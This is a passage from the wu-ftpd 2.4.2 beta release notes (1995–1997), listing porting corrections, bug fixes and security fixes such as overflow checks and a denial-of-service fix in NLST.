| 1616 | you have to undef SECUREOSF in the config file for Digital Unix. | ||
| 1617 | |||
| 1618 | o Porting correction for AIX; some minor code cleanups. | ||
| 1619 | |||
| 1620 | o Correct building the support library under Solaris 2 to prevent ld | ||
| 1621 | from getting upset. | ||
| 1622 | |||
| 1623 | o In ftpcount make sure the numbers listed are no lower than zero. | ||
| 1624 | |||
| 1625 | o Correct S/KEY support for FreeBSD. | ||
| 1626 | |||
| 1627 | ########################################################################### | ||
| 1628 | |||
| 1629 | Changes in 2.4.2-BETA-15: Released 12 September, 1997 | ||
| 1630 | |||
| 1631 | o Correct a problem in the "NLST" command that could cause a system to | ||
| 1632 | eat up all memory and get sluggish. This could be seen as a Denial of | ||
| 1633 | Service attack. I have changed the software to detect this type of | ||
| 1634 | attack and not permit it. | ||
| 1635 | |||
| 1636 | o The s/key challange in wu-ftpd did not conform to RFC 1760. | ||
| 1637 | |||
| 1638 | o Porting corrections for FreeBSD. | ||
| 1639 | |||
| 1640 | o Porting corrections for BSD/OS. | ||
| 1641 | |||
| 1642 | o Fix a problem with the new, expired password support in beta-14. | ||
| 1643 | |||
| 1644 | o Fix virutal hosting for AIX 4.1.x. | ||
| 1645 | |||
| 1646 | o Fix some problems in S/KEY support. This is conditionalized since | ||
| 1647 | FreeBSD supports the old calling method. | ||
| 1648 | |||
| 1649 | o Fixed a problem in ftpcmd.y concerning correctly recognizing the PASS | ||
| 1650 | command in a non-case sensitive manner. | ||
| 1651 | |||
| 1652 | o Correct some configuration file problems when compiling for NetBSD. | ||
| 1653 | |||
| 1654 | o Correct a typo in fnmatch.c. Also made changes to fnmatch.c to | ||
| 1655 | accomodate the lack of certain flag definitions on systems that claim | ||
| 1656 | to be POSIX compliant. These flags are not used by the current wu-ftpd | ||
| 1657 | server code. | ||
| 1658 | |||
| 1659 | o Correct the description of the command line -o option in the ftpd man | ||
| 1660 | page. | ||
| 1661 | |||
| 1662 | ########################################################################### | ||
| 1663 | |||
| 1664 | Changes in 2.4.2-BETA-14: Released 14 August, 1997 | ||
| 1665 | |||
| 1666 | o When wu-ftpd is used on Unixware, readdir in glob.c would not work as | ||
| 1667 | expected since the version picked up during the link is the one from | ||
| 1668 | the ucb library, not the regular C library. Changed the UnixWare | ||
| 1669 | Makefile to link the regular C libarary before the ucb library. | ||
| 1670 | |||
| 1671 | o Port for IRIX 6.3 corrected. | ||
| 1672 | |||
| 1673 | o Port for Unixware 2.1 corrected. | ||
| 1674 | |||
| 1675 | o getspnam on Unixware 2.1 is not NIS aware, so the password read from | ||
| 1676 | the password file should not be overwritten should the call fail. | ||
| 1677 | |||
| 1678 | o Removed the dependency on libc in the makefile for Linux. | ||
| 1679 | |||
| 1680 | o Port for AIX corrected. | ||
| 1681 | |||
| 1682 | o NetBSD/sparc uses an int64_t for that stbuf.st_size. This means that | ||
| 1683 | %qu should be used for a sprintf selector instead of %lu. | ||
| 1684 | |||
| 1685 | o Found a problem with Solari 2.5.1 libraries when used in chrooted mode | ||
| 1686 | along with a dynamically linked "ls". Sun has assigned a bugid for this | ||
| 1687 | problem. See the NOTES file for more on this. | ||
| 1688 | |||
| 1689 | o Fixed another possible problem with ABOR verb processing with OOB data. | ||
| 1690 | |||
| 1691 | o Using the /var/tmp directory for storing the pids is a bad idea. All | ||
| 1692 | configurations have been changed not to do this. This was really only | ||
| 1693 | an issue on System V systems and older BSD systems. | ||
| 1694 | |||
| 1695 | o There is a problem attempting to compile beta-13 with the Bellcore skey | ||
| 1696 | library. That's because it doesn't compile with that version. The | ||
| 1697 | version needed is the one from the logdaemon suite by Wietse Venema. I | ||
| 1698 | am updating the documentation to make this clear. | ||
| 1699 | |||
| 1700 | o It's easy for folks to get confused setting up the anonymous login and | ||
| 1701 | use the /./ suffix on the home directory like that used for guestgroup. | ||
| 1702 | When done, it will make other functions (like upload) in the ftpaccess | ||
| 1703 | fail to work. Processing of the two should be the same. | ||
| 1704 | |||
| 1705 | o Made a change to how the upload directive is parsed so that "no dirs" | ||
| 1706 | does allow directories to be created and "no some-other-string" does | ||
| 1707 | not. Previously it didn't work this way. | ||
| 1708 | |||
| 1709 | o A change made during the release of beta 12 changed how the upload | ||
| 1710 | option did filename matching to make it non-intuitive. This change has | ||
| 1711 | been reversed. | ||
| 1712 | |||
| 1713 | o Made some fixes to some of the 5XX responses associated with failed | ||
| 1714 | logins comply with RFC 959 | ||
| 1715 | |||
| 1716 | o Correct some logic which would cause the server to send two responses | ||
| 1717 | to a client when passwd-check is used and the user failed to enter a | ||
| 1718 | "valid" password when logging in anonymously. | ||
| 1719 | |||
| 1720 | o The "deny" keyword when followed with a domainname glob did not work. | ||
| 1721 | An IP address or address glob does work on SunOS 4.1.X machines. This | ||
| 1722 | turns out to be an issue only if you are not running yp or if yp is not | ||
| 1723 | able to access DNS. To address this, I have added -lresolv to the | ||
| 1724 | SunOS 4.1 makefile. | ||
| 1725 | |||
| 1726 | o Remove HAVE_REGEX_H from the NeXTStep 3.X configuration. | ||
| 1727 | |||
| 1728 | o Add a NOTE about a way to setup the "chroot" directory for wu-ftpd on | ||
| 1729 | IRIX. | ||
| 1730 | |||
| 1731 | o Correct a benign syntax problem in access.c. This might cause some | ||
| 1732 | compilers to generate a warning. | ||
| 1733 | |||
| 1734 | o A number of places in the software are attempting to print out off_t | ||
| 1735 | values using printf selectors that can't handle the size. Use casts to | ||
| 1736 | work arround the problem for now, but the mess should be revamped. | ||
| 1737 | |||
| 1738 | o Port for AU/X corrected. | ||
| 1739 | |||
| 1740 | o Fix some logic errors in processing the ABOR verb. | ||
| 1741 | |||
| 1742 | o Plug some memory leaks in the glob code. | ||
| 1743 | |||
| 1744 | o The argv array should be zeroed out before loading it. Also, ensure we | ||
| 1745 | don't spill off the end of the argv array when filling it. | ||
| 1746 | |||
| 1747 | o Fixed a problem in realpath that is exposed when it is called with a | ||
| 1748 | rooted path. It could attempt to access an uninitialized location. | ||
| 1749 | |||
| 1750 | o Corrected an error in the ftpaccess.5 man page concerning the | ||
| 1751 | path-filter example. | ||
| 1752 | |||
| 1753 | o Made some cleanups in the ftpaccess file in the doc/examples directory. | ||
| 1754 | |||
| 1755 | o Fixed a bug in some of the debugging code where syslog is called | ||
| 1756 | without a printf format string. This causes the daemon to crash on some | ||
| 1757 | operating environments. | ||
| 1758 | |||
| 1759 | o Added a NOTE about the conflict between using Virtual FTP and | ||
| 1760 | TCPWrappers. | ||
| 1761 | |||
| 1762 | o The passive subroutine might be vunerable to attack because a user | ||
| 1763 | could attempt to start a passive connection without doing a login | ||
| 1764 | first. This is now checked in the passive connection. | ||
| 1765 | |||
| 1766 | o /usr/ucb/installbsd should be used for installation on OSF/1. | ||
| 1767 | |||
| 1768 | o Port correction for C2 security with Digital Unix 4.X. These changes | ||
| 1769 | are made to the Digital Unix configuration. C2 is on by default. | ||
| 1770 | "./build dec" to get this. | ||
| 1771 | |||
| 1772 | o Corrected problems when processing the %E macro. It becomes evident | ||
| 1773 | with the %E macro is used twice in an extended message. The entry | ||
| 1774 | information is not reset between calls. This can cause information to | ||
| 1775 | be printed twice. | ||
| 1776 | |||
| 1777 | o FreeBSD support dirent.h and that sys/dir.h is being phased out. A | ||
| 1778 | change to the FreeBSD configuration header file has been made to use | ||
| 1779 | dirent.h in this release. | ||
| 1780 | |||
| 1781 | o newvers.sh was made more POSIX compliant without affecting its | ||
| 1782 | operation on non-POSIX systems. | ||
| 1783 | |||
| 1784 | o The arguments for select() under HPUX may not have the same types as | ||
| 1785 | those found on other systems. | ||
| 1786 | |||
| 1787 | o Corrected a problem when %U is used in a banner prior to the user | ||
| 1788 | performing a login. Before beta 14, this could cause a segmentation | ||
| 1789 | violation. Now, it will cause %U to print "[unknown]" since login has | ||
| 1790 | not been done as yet. | ||
| 1791 | |||
| 1792 | o Added a NOTE about Digital Unix and C2 security. | ||
| 1793 | |||
| 1794 | o HAVE_STATVFS should be defined in the SGI IRIX configuration file. | ||
| 1795 | |||
| 1796 | o Corrected a logic problem when the socket call fails when trying to | ||
| 1797 | open a data socket. The close() was being made anyway and this would | ||
| 1798 | generate a "bad file number" error since the socket never was opened. | ||
| 1799 | |||
| 1800 | o SPT_TYPE should be SPT_NONE for SGI IRIX to insure that the time stamps | ||
| 1801 | on things didn't get set to GMT. | ||
| 1802 | |||
| 1803 | o The default umask should be 022 instead of 002. | ||
| 1804 | |||
| 1805 | o ftpconversions and ftpgroup parsing was in a sad state. Cleaned up. | ||
| 1806 | |||
| 1807 | o Dealt with expired logins (when shadow passwords are used). | ||
| 1808 | |||
| 1809 | o snprintf should be used now that there is good one for those systems | ||
| 1810 | that don't have it in the support library and for those that do have | ||
| 1811 | snprintf, it should be used where controlling the length of things is | ||
| 1812 | important. To that end a number of changes have been made in ftpd.c to | ||
| 1813 | use snprintf more widely. | ||
| 1814 | |||
| 1815 | o On some versions of SunOS 4.X, the size_t typedef is not pulled in with | ||
| 1816 | the include directives that are there. I have modified snprintf.c to | ||
| 1817 | include <stdlib.h> when an ANSI C compilier is used and <sys/types.h> | ||
| 1818 | when one is not used. Hopefully, that will catch a size_t definition. | ||
| 1819 | If not, let me know, but do be sure to include what OS release and what | ||
| 1820 | compiler you are using. Additionally, I had left "const" definitions in | ||
| 1821 | places where non-ANSI C compilers would encounter them. I have removed | ||
| 1822 | those. | ||
| 1823 | |||
| 1824 | o Port for SunOS 4.1.x corrected. | ||
| 1825 | |||
| 1826 | o Fixed an error in the ftpaccess file handling for the tar and compress | ||
| 1827 | keywords. If any class was permitted to use them, then any class was. | ||
| 1828 | |||
| 1829 | o Fixed some typos in the Makefiles: using .c where .o is correct. | ||
| 1830 | |||
| 1831 | o \r\n is no longer passed to setproctitle since beta-13, so it does not | ||
| 1832 | need to attempt to strip. | ||
| 1833 | |||
| 1834 | o ftpcmd.y has a one-off error in checking the length of a string. | ||
| 1835 | |||
| 1836 | o Fixed popen.c to keep it from overflowing the argv buffer and from | ||
| 1837 | freeing space that was not allocated for that same argv buffer. | ||
| 1838 | |||
| 1839 | o Fixed access.c and ftpcount.c to address a problem in a bug fix in | ||
| 1840 | beta-13 that kept access limits involving days other than Any from | ||
| 1841 | being enforced. | ||
| 1842 | |||
| 1843 | o Fixed the xferstats script to allow it work when the log involves | ||
| 1844 | timestamps from two years. | ||
| 1845 | |||
| 1846 | o Port for IRIX corrected. | ||
| 1847 | |||
| 1848 | o RMD and DELE should both check permissions before attempting to do | ||
| 1849 | anything. | ||
| 1850 | |||
| 1851 | o getdatasock should return the errno to the caller that caused the | ||
| 1852 | socket call to fail (as opposed to anything else that happens in that | ||
| 1853 | routine). | ||
| 1854 | |||
| 1855 | o FreeBSD uses <sys/mount.h> for file system information used by the %F | ||
| 1856 | macro. | ||
| 1857 | |||
| 1858 | o Add a define (HAVE_GETRLIMIT) to the config.hpx for HP-UX 10.10. | ||
| 1859 | |||
| 1860 | o Port for Linux corrected. | ||
| 1861 | |||
| 1862 | o Fixed a bug in the SITE CHMOD command that would cause the server to | ||
| 1863 | send two replies in some cases. This could confuse some FTP clients | ||
| 1864 | (and is a violation of protocol anyway). This should have been in | ||
| 1865 | beta-13, but I missed it somehow. | ||
| 1866 | |||
| 1867 | o The dependencies on vers.c that are not uniform in all makefiles and | ||
| 1868 | can cause problems with certain versions of make. All makefiles for | ||
| 1869 | all operating systems supported in this distribution now have an | ||
| 1870 | explict dependency that should cause newvers.sh to be run if yacc was | ||
| 1871 | successful in building ftpcmd.c from ftpcmd.y. It will also properly | ||
| 1872 | stop attempting to compile anything (other than ckconfig) until this | ||
| 1873 | problem is fixed by the user. This can usually be done by being sure | ||
| 1874 | yacc is installed and in the user's PATH. | ||
| 1875 | |||
| 1876 | o Fixed a Y2K compliance problem in ftpcmd.y where the year would always | ||
| 1877 | be printed as 19XX. wu-ftpd is as Y2K compliant as it can be with this | ||
| 1878 | fix. | ||
| 1879 | |||
| 1880 | o I edited the INSTALL, README and NOTES documents in an attempt to make | ||
| 1881 | them clearer. I had a number of questions about "-a" and | ||
| 1882 | /etc/inetd.conf. People evidently don't read the README file very | ||
| 1883 | closely, so now I have put this information in more places than just | ||
| 1884 | the NOTES file. Hopefully that will stop most of these types of | ||
| 1885 | questions. | ||
| 1886 | |||
| 1887 | ########################################################################### | ||
| 1888 | |||
| 1889 | Changes in 2.4.2-BETA-13: Released 3 March, 1997 | ||
| 1890 | |||
| 1891 | o I noticed that setproctitle was not being called correctly in a couple | ||
| 1892 | of places in ftpd.c. There were not enough arguments. | ||
| 1893 | |||
| 1894 | o Fixed some coding problems in access.c when determining host access | ||
| 1895 | information. | ||
| 1896 | |||
| 1897 | o Added some bounds checking ftpd when building the directory command to | ||
| 1898 | send to the operating system. These changes may not be portable to all | ||
| 1899 | platforms, since they use snprintf, but we'll give it a try. | ||
| 1900 | |||
| 1901 | o Port for SCO Openserver 5 corrected. | ||
| 1902 | |||
| 1903 | o ftpcount.c does not include stdlib.h, which will cause malloc to | ||
| 1904 | allocate too little space to hold st_size on FreeBSD. | ||
| 1905 | |||
| 1906 | o The failsafe number of fds in popen.c should be bigger than | ||
| 1907 | sizeof(long). I am setting it to 31. We'll see if that helps folks | ||
| 1908 | have fewer signal 10 or 11 errors that are unexplained. | ||
| 1909 | |||
| 1910 | o FreeBSD already had the fnmatch function in its C library and didn't | ||
| 1911 | need the version in the support library. | ||
| 1912 | |||
| 1913 | o Removed all references to LOG_TOOMANY, since it is no longer being | ||
| 1914 | actually implemented. | ||
| 1915 | |||
| 1916 | o Enforce FreeBSD (when this software is built on FreeBSD) concerning the | ||
| 1917 | logging of numeric addresses when DNS name is larger than UT_HOSTSIZE | ||
| 1918 | field. | ||
| 1919 | |||
| 1920 | o Removed \r\n from any string put in setproctitle. | ||
| 1921 | |||
| 1922 | o Made some fixes to skey support. | ||
| 1923 | |||
| 1924 | o Fixed some problems with the INSTALL file. There was a missing step and | ||
| 1925 | other problems. | ||
| 1926 | |||
| 1927 | o sysconf be used to get the number of fds. This has been added to | ||
| 1928 | popen.c and a change has been made to config.hpx to use that. I have | ||
| 1929 | also tried to add this to other configurations that are documented (or | ||
| 1930 | are known) to support sysconf. | ||
| 1931 | |||
| 1932 | o There was an extra %s in one of the reply strings. This is now fixed. | ||
| 1933 | |||
| 1934 | o Corrected a problem in the code I put into popen.c to attempt to | ||
| 1935 | address an overflow problem. Too much late night coding for me:-). | ||
| 1936 | |||
| 1937 | o Corrected an inconsistency in the forward definition of realpath when a | ||
| 1938 | STDC compiler is used. | ||
| 1939 | |||
| 1940 | o Corrected a problem with compiling wu-ftpd on OSF. This is due to an | ||
| 1941 | failure in the software to include the correct include file. | ||
| 1942 | |||
| 1943 | ########################################################################### | ||
| 1944 | |||
| 1945 | Changes in 2.4.2-BETA-12: Released 19 January, 1997 | ||
| 1946 | |||
| 1947 | o The use of putchar in ftpd.c and ftpcmd.y might have side effects on | ||
| 1948 | argument lists when putchar is a macro. The use of putchar has been | ||
| 1949 | changed to putc in these files for this release. | ||
| 1950 | |||
| 1951 | o Made some changes to ftpcount.c to make it return more useful | ||
| 1952 | information when used with Solaris2 and AIX. | ||
| 1953 | |||
| 1954 | o Added a mechanism to permit AIX hosts to make effective use of the | ||
| 1955 | virtual host feature in wu-ftpd. | ||
| 1956 | |||
| 1957 | o FreeBSD configuration should not install the sample configuration files | ||
| 1958 | over previously existing ones. This release does not install them at | ||
| 1959 | all. | ||
| 1960 | |||
| 1961 | o Added additional protection for some operating system over the | ||
| 1962 | protection already provided. | ||
| 1963 | |||
| 1964 | o Made a fix to the virtual host code that permits guest groups to | ||
| 1965 | continue to work. | ||
| 1966 | |||
| 1967 | o Made a significant security fix without which regular and anonymous | ||
| 1968 | users could access files as the root user. | ||
| 1969 | |||
| 1970 | o Made a fix to permit bad autogroup entries in the ftpaccess file to be | ||
| 1971 | ignored. | ||
| 1972 | |||
| 1973 | o The readme directive should really only apply to regular files. | ||
| 1974 | |||
| 1975 | o Corrected a number of problems with upload. | ||
| 1976 | |||
| 1977 | o Corrected an inconsistency between the documentation and how the server | ||
| 1978 | logs information. The server has been fixed to document guest users in | ||
| 1979 | the xferlog with a "g" and real users with a "r". | ||
| 1980 | |||
| 1981 | o Corrected an inconsistent use of #if verus #ifdef in authenticate.c. | ||
| 1982 | |||
| 1983 | o Fixed some bugs in the build program. | ||
| 1984 | |||
| 1985 | o ftpd.c should use getopt. | ||
| 1986 | |||
| 1987 | o Fixed a bug in how ftpcount reports classes that can have an unlimited | ||
| 1988 | number of users. | ||
| 1989 | |||
| 1990 | o All filename checking should be case sensitive. | ||
| 1991 | |||
| 1992 | o Fixed a bug in how the shutdown feature works. The bug is that new | ||
| 1993 | connections may continue to be accepted after shutdown is in effect. | ||
| 1994 | |||
| 1995 | o Fixed a bug in how the ftw.h file in the support directory gets | ||
| 1996 | included when it shouldn't be for Unixware 2.1. | ||
| 1997 | |||
| 1998 | o Made changes to ftpcmd.y to ensure that free() is only called when the | ||
| 1999 | arguments are non-null. | ||
| 2000 | |||
| 2001 | o Ported to AU/X 3.0 | ||
| 2002 | |||
| 2003 | o Fixed it so that "anonymous" and "ftp" are made to be the same as far | ||
| 2004 | as the server is concerned. | ||
| 2005 | |||
| 2006 | o Corrected a mispelling in the NOTES file. | ||
| 2007 | |||
| 2008 | o Corrected a bug introduced in the academ betas with the T_ASCII flag in | ||
| 2009 | ftpconversions. Its meaning had become reverse from what it used to be. | ||
| 2010 | |||
| 2011 | o Fixed a problem in the old virtual code where an illegal strcpy was | ||
| 2012 | being done. | ||
| 2013 | |||
| 2014 | o Fixed the basic problems introduced in beta-11 with the virtual host | ||
| 2015 | code. There have been no changes in how the configuration files are | ||
| 2016 | configured. | ||
| 2017 | |||
| 2018 | o The ftpgroups and ftpconversions file checks in conversions.c and acl.c | ||
| 2019 | should be done using an fstat after an open succeeds. | ||
| 2020 | |||
| 2021 | o There were places where files could or should be closed. | ||
| 2022 | |||
| 2023 | o Corrected some macro inconsistencies in the manual pages. | ||
| 2024 | |||
| 2025 | o Corrected some typos in the manual pages. | ||
| 2026 | |||
| 2027 | o fnmatch.c did not have the right flags defined correctly. | ||
| 2028 | |||
| 2029 | o Unixware 2.1 supports getrlimit. So, this is now added to config.uxw | ||
| 2030 | in the src/config directory. | ||
| 2031 | |||
| 2032 | o stderr output from ftpd when being started by inetd were problematical. | ||
| 2033 | These error messages now go to syslog. | ||
| 2034 | |||
| 2035 | o AUSCERT brought to my attention a need to check to be sure the 100 | ||
| 2036 | element argv array in the popen subroutine is not overflowed. This is | ||
| 2037 | now done. | ||
| 2038 | |||
| 2039 | o Subsequent files requests couldn't be aborted correctly. | ||
| 2040 | |||
| 2041 | o Prevented a possible overflow problem when processing the SITE CHMOD | ||
| 2042 | and SITE UMASK commands. The server did not check for overflow | ||
| 2043 | conditions. | ||
| 2044 | |||
| 2045 | o STAT was using a 211 response when a 213 is probably better. | ||
| 2046 | |||
| 2047 | o RFC 1127's suggestions are not being followed by this server | ||
| 2048 | |||
| 2049 | o Subsequent files upload requests couldn't be restarted correctly. | ||
| 2050 | |||
| 2051 | o Having the debug mode log passwords is not good. | ||
| 2052 | |||
| 2053 | o Corrected a typo on one of the URLs in the NOTES file. | ||
| 2054 | |||
| 2055 | o When a null is sent to the server, it should ignore it but was treating | ||
| 2056 | it like EOF. Now it does ignore it. | ||
| 2057 | |||
| 2058 | o Corrected errors in the ftpd.8 manual page. | ||
| 2059 | |||
| 2060 | o Made some adjustments for making better use of available library | ||
| 2061 | routines in Unixware 2.1. | ||
| 2062 | |||
| 2063 | o Solaris 2.X does support getrlimit. Changed config.sol to make use of | ||
| 2064 | it. | ||
| 2065 | |||
| 2066 | o Ported to Digital Unix 3.2 with C2 Security. | ||
| 2067 | |||
| 2068 | o There were some instances in ftpcmd.y where values could be NULL. This | ||
| 2069 | would cause segmentation violations on may flavors of Unix. | ||
| 2070 | |||
| 2071 | o Fixed a bug in processing "SITE CHMOD 0". The command didn't work and | ||
| 2072 | the server didn't give a reply. | ||
| 2073 | |||
| 2074 | o Linux 2.0 (actually libc 5.3.12) changed the way that directory | ||
| 2075 | manupulation was done. The problem was that glob.c would not compile | ||
| 2076 | on Linux 2.X systems. Ensured that Linux 1.X users would still be able | ||
| 2077 | to use this on their systems. | ||
| 2078 | |||
| 2079 | ########################################################################### | ||
| 2080 | |||
| 2081 | Changes in 2.4.2-BETA-11: Released 15 April, 1996 | ||
| 2082 | |||
| 2083 | o The manual pages for ftpaccess.5 and ftpd.8 have been modified. ftpd.8 | ||
| 2084 | now documentes the previously undocumented "-u umask" option. | ||
| 2085 | ftpaccess.5 now clarifies the fact that the root-dir specified in the | ||
| 2086 | upload configuration line MUST match the home directory in the | ||
| 2087 | operation system password database. | ||
| 2088 | |||
| 2089 | o Fixes for the optional shadow password file support for Linux. | ||
| 2090 | |||
| 2091 | o The configuration file for Solaris specified the MAXHOSTNAMELEN before | ||
| 2092 | it was possible to check to see if was defined and this caused there to | ||
| 2093 | be spurious (and benign) error messages to be generated. | ||
| 2094 | |||
| 2095 | o The file size in BSDI 1.1 is a long not a quad_t. This means that the | ||
| 2096 | conversion arguement should not be qd for sprintf's involving this | ||
| 2097 | variable. | ||
| 2098 | |||
| 2099 | ########################################################################### | ||
| 2100 | |||
| 2101 | Changes in 2.4.2-BETA-10: Released 15 March, 1996 | ||
| 2102 | |||
| 2103 | o Made some changes for AIX that I can't verify since I don't have AIX. | ||
| 2104 | |||
| 2105 | o Added a number of small changes for FreeBSD. | ||
| 2106 | |||
| 2107 | o Modified support for virtual domains. Modified the | ||
| 2108 | VIRTUAL.FTP.SUPPPORT support file and the man pages to reflect this | ||
| 2109 | change. | ||
| 2110 | |||
| 2111 | o Added back an idle timeout routine that appears to compile cleanly on | ||
| 2112 | all the systems I test on. | ||
| 2113 | |||
| 2114 | o Fixed some configuration problems for Linux. | ||
| 2115 | |||
| 2116 | o Fixed the output of "site help" command to return the email address | ||
| 2117 | listed in the "email" entry from the ftpaccess file (if available). | ||
| 2118 | |||
| 2119 | ########################################################################### | ||
| 2120 | |||
| 2121 | Changes in 2.4.2-BETA-9: Released 23 January, 1996 | ||
| 2122 | |||
| 2123 | o Two changes to popen.c: In the child process, the port attached to the | ||
| 2124 | ftp protocol port is now closed before exec(); In the child process, | ||
| 2125 | the effective user and group ids are set as the real user and group ids | ||
| 2126 | prior to exec(). | ||
| 2127 | |||
| 2128 | o The "nodirs" option of the upload directive in an ftpaccess file is now | ||
| 2129 | fixed and actually works. | ||
| 2130 | |||
| 2131 | o Added endgrent() to access.c, private.c and extensions.c to ensure the | ||
| 2132 | /etc/group or ~ftp/etc/group file is closed after it is used. Fix | ||
| 2133 | suggested by CERT. | ||
| 2134 | |||
| 2135 | o Moved openlog() in ftpd.c up closer to the beginning of the program. | ||
| 2136 | Fix suggested by CERT. | ||
| 2137 | |||
| 2138 | o Fixed all the support makefiles to build vsnprintf in the support | ||
| 2139 | library since most systems do not have it. I have left it out of | ||
| 2140 | systems that I know do have the real library routine (all BSD 4.4-Lite | ||
| 2141 | based OSes have this). | ||
| 2142 | |||
| 2143 | ########################################################################### | ||
| 2144 | |||
| 2145 | Changes in 2.4.2-BETA-8: Released 5 December, 1995 | ||
| 2146 | |||
| 2147 | o Overhauled reply, lreply and setproctitle to make appropriate use of | ||
| 2148 | varargs or stdargs as appropriate. | ||
| 2149 | |||
| 2150 | o Added some FAQ references in the README file. | ||
| 2151 | |||
| 2152 | o Added HAVE_GETRLIMIT and changes config files to support it where | ||
| 2153 | available in preference to HAVE_GETDTABLESIZE, which is now obsolete. | ||
| 2154 | |||
| 2155 | o Added HAVE_SETPROCTITLE as a possible define to include the | ||
| 2156 | setproctitle() library routine from the system if it is available. | ||
| 2157 | |||
| 2158 | o Added differentiator so that BSDI 1.X setproctitle() library routine is | ||
| 2159 | not used since it appears to be buggy. | ||
| 2160 | |||
| 2161 | o Made a number of changes for BSD/OS. | ||
| 2162 | |||
| 2163 | o Lowered optimization level from O3 to O2 for AIX. | ||
| 2164 | |||
| 2165 | o Added some information in NOTES for adding shadow support under Linux. | ||
| 2166 | |||
| 2167 | o Added some fixed for the use of sys_siglist. HAS_SIGLIST must be | ||
| 2168 | defined for this to be used. | ||
| 2169 | |||
| 2170 | o Added some fixes for CPP processing problems with Digital Unix. | ||
| 2171 | |||
| 2172 | ########################################################################### | ||
| 2173 | |||
| 2174 | Changes in 2.4.2-BETA-7: Released 23 October, 1995 | ||
| 2175 | |||
| 2176 | o Support for Hitachi Unix variant added. | ||
| 2177 | |||
| 2178 | o Changes in the configuration files for BSD/OS to accomodate a bug in | ||
| 2179 | the sprintf inheritied from BSD 4.4 Lite. (Effects FreeBSD, NetBSD and | ||
| 2180 | BSD/OS.) | ||
| 2181 | |||
| 2182 | o Addition of a cookie '%u' to extensions.c which will show the RFC931 | ||
| 2183 | remote username when available. I somehow like it to have the remote | ||
| 2184 | user see we take the 'all actions are logged' line seriously. | ||
| 2185 | |||
| 2186 | o Support for SCO added. | ||
| 2187 | |||
| 2188 | o Corrected the diagnostics from the randomsig subroutine. | ||
| 2189 | |||
| 2190 | ########################################################################### | ||
| 2191 | |||
| 2192 | Changes in 2.4.2-BETA-6: Released 15 October, 1995 | ||
| 2193 | |||
| 2194 | If you have an original copy of 2.4.2-BETA-6, the WU-FTPD Development | ||
| 2195 | Group would like a copy. | ||
| 2196 | |||
| 2197 | o Added virtual ftp server support. | ||
| 2198 | |||
| 2199 | o Added some AIX patches. | ||
| 2200 | |||
| 2201 | o Added some notes concerning skey support in the NOTES file. | ||
| 2202 | |||
| 2203 | o Config files for BSD 4.4-based OSes added. | ||
| 2204 | |||
| 2205 | o Closing some file descriptors before exec in ftpd_popen (popen.c). | ||
| 2206 | |||
| 2207 | o Missed changes to fnmatch in access.c. | ||
| 2208 | |||
| 2209 | o Fixed ftpconversion problems when gzcating plain files. | ||
| 2210 | |||
| 2211 | ########################################################################### | ||
| 2212 | |||
| 2213 | Changes in 2.4.2-BETA-5: Released 11 July, 1995 | ||
| 2214 | |||
| 2215 | o Fixed ftpcmd.y parser for bug that has been present since the release | ||
| 2216 | of the NET-2 ftp daemon. Multiple 500 lines are not returned when | ||
| 2217 | certain bad commands are presented to the server. | ||
| 2218 | |||
| 2219 | o Changed build to make the tar file create a directory that is the | ||
| 2220 | current release name and unpack into that newly created directory | ||
| 2221 | relative to the current directory. | ||
| 2222 | |||
| 2223 | o Keep wu-ftpd from hanging when trying to use ident to identify someone. | ||
| 2224 | |||
| 2225 | o More fixes to the config.hpx file for HP-UX. | ||
| 2226 | |||
| 2227 | ########################################################################### | ||
| 2228 | |||
| 2229 | Changes in 2.4.2-BETA-4: Released 29 June, 1995 | ||
| 2230 | |||
| 2231 | o Replaced a large part of the noretrieve subroutine in extensions.c. | ||
| 2232 | |||
| 2233 | o Fixes for HPUX. | ||
| 2234 | |||
| 2235 | o Fixed up the Makefiles for SunOS 4.1.X to make use of the dynamic load | ||
| 2236 | library correctly. This should probably be reworked to only use static | ||
| 2237 | linking, but that will be looked at another time. | ||
| 2238 | |||
| 2239 | o Fixed some more bad NULL versus '\0' problems in ftpd.c and realpath.c | ||
| 2240 | in the src directory. | ||
| 2241 | |||
| 2242 | ########################################################################### | ||
| 2243 | |||
| 2244 | Changes in 2.4.2-BETA-3: Released 18 June, 1995 | ||
| 2245 | |||
| 2246 | If you have an original copy of 2.4.2-BETA-3, the WU-FTPD Development | ||
| 2247 | Group would like a copy. | ||
| 2248 | |||
| 2249 | o Created the NOTES file and revised the README and INSTALL documents. | ||
| 2250 | |||
| 2251 | o Fixed some minor source code cast that the SunPro C compiler was | ||
| 2252 | complaining about. Files affected (all in the src directory) are: | ||
| 2253 | ftpcmd.y, realpath.c, private.c, logwtmp.c, ftpd.c extensions.c | ||
| 2254 | |||
| 2255 | o Revised the LINUX support to conform to LINUX 1.2.8 with gcc 2.6.3 from | ||
| 2256 | the slakware distribution. | ||
| 2257 | |||
| 2258 | ########################################################################### | ||
| 2259 | |||
| 2260 | Changes in 2.4.2-BETA-2: Released 18 June, 1995 | ||
| 2261 | |||
| 2262 | This version merged much of the functionality of 2.4-hobbit into Stan's | ||
| 2263 | baseline. | ||
| 2264 | |||
| 2265 | If you have an original copy of 2.4.2-BETA-2, or 2.4-hobbit, the | ||
| 2266 | WU-FTPD Development Group would like a copy. | ||
| 2267 | |||
| 2268 | o Removed the timeout patch from Dan Thorson that was in BETA-1. However, | ||
| 2269 | it will be back in a future beta. | ||
| 2270 | |||
| 2271 | o Lifted from the Debian wu-ftpd-2.4-4 release with little or no change: | ||
| 2272 | doc/ftpaccess.5 | ||
| 2273 | doc/ftpd.8 | ||
| 2274 | config/config.lnx | ||
| 2275 | config/config.s41 | ||
| 2276 | src/access.c | ||
| 2277 | src/acl.c | ||
| 2278 | src/ftpcount.c | ||
| 2279 | src/ftpshut.c | ||
| 2280 | src/hostacc.c | ||
| 2281 | src/logwtmp.c | ||
| 2282 | |||
| 2283 | o build: added a kludge for enabling these changes, by spawning a shell. | ||
| 2284 | Added specific support for FreeBSD 2.0. Also, copy the Makefiles and | ||
| 2285 | config.h instead of hardlinking them, so that edits don't trash the | ||
| 2286 | original copies! | ||
| 2287 | |||
| 2288 | o support/authuser.c: limit sscanf() of identd strings. | ||
| 2289 | |||
| 2290 | o support/makefiles/*: minor changes to a couple of system-specific | ||
| 2291 | Makefiles. | ||
| 2292 | |||
| 2293 | o extensions.c: [Debian -- "noretrieve" ACL keyword handler, NULL fixups] | ||
| 2294 | |||
| 2295 | o extensions.c: Fix losing null dereference in Debian checknoretrieve(). | ||
| 2296 | |||
| 2297 | o extensions.c: #ifdef PARANOID -- disallow file deletion completely. | ||
| 2298 | |||
